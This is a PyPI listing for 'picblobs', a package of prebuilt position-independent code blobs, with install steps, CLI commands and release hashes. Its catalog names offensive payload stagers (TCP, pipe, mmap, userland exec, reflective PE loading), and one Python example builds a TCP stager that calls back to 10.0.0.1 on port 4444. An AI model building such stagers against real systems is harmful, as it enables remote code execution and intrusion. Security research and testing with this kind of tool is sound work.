Position-independent code blob library
Project description
picblobs
picblobs ships prebuilt position-independent code blobs plus a Python
API for selecting, inspecting, and assembling them.
The package contains the release-ready blob catalog:
manifest.jsonfor target and blob discovery- Flat
.binpayloads plus JSON sidecar metadata - A builder API for parameterized blobs such as
alloc_jump,stager_tcp,stager_fd,stager_pipe,stager_mmap,ul_exec, andreflective_pe
This package does not bundle the cross-compiled runner executables used
for QEMU-based execution and verification. Install
picblobs-cli alongside it if
you want the CLI commands or bundled runners.
Install
pip install picblobs
Python API
import picblobs
from picblobs import Blob
blob = picblobs.get_blob("hello", "linux", "x86_64")
print(blob.sha256)
stage = (
Blob("linux", "x86_64")
.stager_tcp()
.address("10.0.0.1")
.port(4444)
.build()
)
CLI
The CLI now lives entirely in the companion package:
pip install picblobs-cli
picblobs-cli list
picblobs-cli info hello linux:x86_64
picblobs-cli extract hello linux:x86_64 -o hello.bin
Installing picblobs-cli also provides the bundled runners and the full
build/run/verify toolchain:
picblobs-cli verify --os linux
Project Links
- Documentation: https://github.com/williamkborn/pic/tree/main/docs
- Source: https://github.com/williamkborn/pic
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file picblobs-0.1.3.tar.gz.
File metadata
- Download URL: picblobs-0.1.3.tar.gz
- Upload date:
- Size: 433.6 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
7d5ca59f861138ddeec3079bbcdc900ce319df69bfe9b20c9c560f6c93d7d393
|
|
| MD5 |
98d20312554715c6b357e39a7d52a264
|
|
| BLAKE2b-256 |
0eeb63957074cfc5288f33a60afaa34514bcb48380d97d1d818a409ba573a849
|
Provenance
The following attestation bundles were made for picblobs-0.1.3.tar.gz:
Publisher:
picblobs.yml on williamkborn/pic
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
picblobs-0.1.3.tar.gz -
Subject digest:
7d5ca59f861138ddeec3079bbcdc900ce319df69bfe9b20c9c560f6c93d7d393 - Sigstore transparency entry: 1391978603
- Sigstore integration time:
-
Permalink:
williamkborn/pic@7e77affb436c88f6b6272cf12a3f291fe6418887 -
Branch / Tag:
refs/tags/v0.1.3 - Owner: https://github.com/williamkborn
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
picblobs.yml@7e77affb436c88f6b6272cf12a3f291fe6418887 -
Trigger Event:
push
-
Statement type:
File details
Details for the file picblobs-0.1.3-py3-none-any.whl.
File metadata
- Download URL: picblobs-0.1.3-py3-none-any.whl
- Upload date:
- Size: 661.1 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
175c307ffc606b07873ab52e3f4587ef99892b8fa5a2f5af9085b13b8f9c39ac
|
|
| MD5 |
8662c1f0c2bfcb8c48815c3dc959dfe1
|
|
| BLAKE2b-256 |
3b6792f83560d5b2724b38925e72a744c92bff080d0ebea12eb3633bf385f5c9
|
Provenance
The following attestation bundles were made for picblobs-0.1.3-py3-none-any.whl:
Publisher:
picblobs.yml on williamkborn/pic
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
picblobs-0.1.3-py3-none-any.whl -
Subject digest:
175c307ffc606b07873ab52e3f4587ef99892b8fa5a2f5af9085b13b8f9c39ac - Sigstore transparency entry: 1391978614
- Sigstore integration time:
-
Permalink:
williamkborn/pic@7e77affb436c88f6b6272cf12a3f291fe6418887 -
Branch / Tag:
refs/tags/v0.1.3 - Owner: https://github.com/williamkborn
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
picblobs.yml@7e77affb436c88f6b6272cf12a3f291fe6418887 -
Trigger Event:
push
-
Statement type: